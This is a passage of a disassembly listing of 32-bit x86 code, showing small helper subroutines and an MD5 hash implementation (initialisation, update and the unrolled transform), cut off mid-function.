; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4335B0	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43363C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4335D4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335D4:				; CODE XREF: sub_4335B0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_4335ED
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335ED:				; CODE XREF: sub_4335B0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4335FD
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335FD:				; CODE XREF: sub_4335B0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 2DD485E8h, 0C0859002h, 0E8560E74h, 0FFFCE181h, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43363C:				; CODE XREF: sub_4335B0+12j
		pop	esi
		retn
sub_4335B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433670	proc near		; CODE XREF: sub_4015FFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433695
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433695:				; CODE XREF: sub_433670+15j
		nop
		call	near ptr 2710770h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4336BE
		push	esi
		mov	edi, 0Bh
		call	near ptr 77C2C21Bh
		nop
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336BE:				; CODE XREF: sub_433670+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4336DB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336DB:				; CODE XREF: sub_433670+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_433670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433710	proc near		; CODE XREF: sub_401AA0j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_4337A0
		cmp	[ebx+0Ch], ebp
		jz	short loc_43377C
		cmp	[ebx+4], ebp
		jz	short loc_43377C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43377C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_43376F
		push	edi


loc_433743:				; CODE XREF: sub_433710+5Cj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43376A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_43376A:				; CODE XREF: sub_433710+3Ej
		cmp	esi, ebp
		jnz	short loc_433743
		pop	edi


loc_43376F:				; CODE XREF: sub_433710+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_43377C:				; CODE XREF: sub_433710+13j
					; sub_433710+18j ...
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 2710000h
		cmp	[ebx+4], ebp
		jz	short loc_433796
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_40222F
		add	esp, 4


loc_433796:				; CODE XREF: sub_433710+78j
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4337A0:				; CODE XREF: sub_433710+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_433710	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4337E0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_50E3E8
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_433804
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_433813
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433804:				; CODE XREF: sub_4337E0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_433813
		mov	eax, ebx


loc_433813:				; CODE XREF: sub_4337E0+1Aj
					; sub_4337E0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_433875
		test	eax, eax
		jz	short loc_433862
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_433862
		test	ebx, ebx
		jz	short loc_433862
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_43384D


loc_433837:				; CODE XREF: sub_4337E0+65j
		cmp	[ecx+8], esi
		jz	short loc_433849
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_433837
		jmp	short loc_43384D
; ---------------------------------------------------------------------------


loc_433849:				; CODE XREF: sub_4337E0+5Aj
		test	ecx, ecx
		jnz	short loc_433862


loc_43384D:				; CODE XREF: sub_4337E0+55j
					; sub_4337E0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DC5
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_433875


loc_433862:				; CODE XREF: sub_4337E0+3Cj
					; sub_4337E0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		nop
		call	near ptr 2720D7Fh
		test	eax, eax
		jnz	short loc_433875
		mov	edi, 0Bh


loc_433875:				; CODE XREF: sub_4337E0+38j
					; sub_4337E0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4337E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4338B0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		call	near ptr 279081Fh
		nop
		mov	esi, eax
		call	sub_436F5A
sub_4338B0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	0A4E89051h, 56022CD2h, 51E8D88Bh
		dd 90022CD4h, 36C4E857h, 8B5F0000h, 0C35B5EC3h,	3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_433900	proc near		; CODE XREF: sub_401A55j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_433900	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433940	proc near		; CODE XREF: sub_401C12j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_43396B
		inc	dword ptr [esi+14h]


loc_43396B:				; CODE XREF: sub_433940+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_4339C9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_434740
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_433AB0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_4339C5


loc_4339A9:				; CODE XREF: sub_433940+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_433AB0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_4339A9


loc_4339C5:				; CODE XREF: sub_433940+67j
		xor	eax, eax
		jmp	short loc_4339CB
; ---------------------------------------------------------------------------


loc_4339C9:				; CODE XREF: sub_433940+41j
		xor	ebp, ebp


loc_4339CB:				; CODE XREF: sub_433940+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_434740
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_433940	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433A20	proc near		; CODE XREF: sub_402158j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_434660
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_433A53
		mov	ecx, 78h


loc_433A53:				; CODE XREF: sub_433A20+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA_0	; "€"
		push	edi
		call	sub_401C12
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C12
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_434660
		push	58h
		push	0
		push	edi
		call	sub_434770
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_433A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433AB0	proc near		; CODE XREF: sub_433940+58p
					; sub_433940+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4346D0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
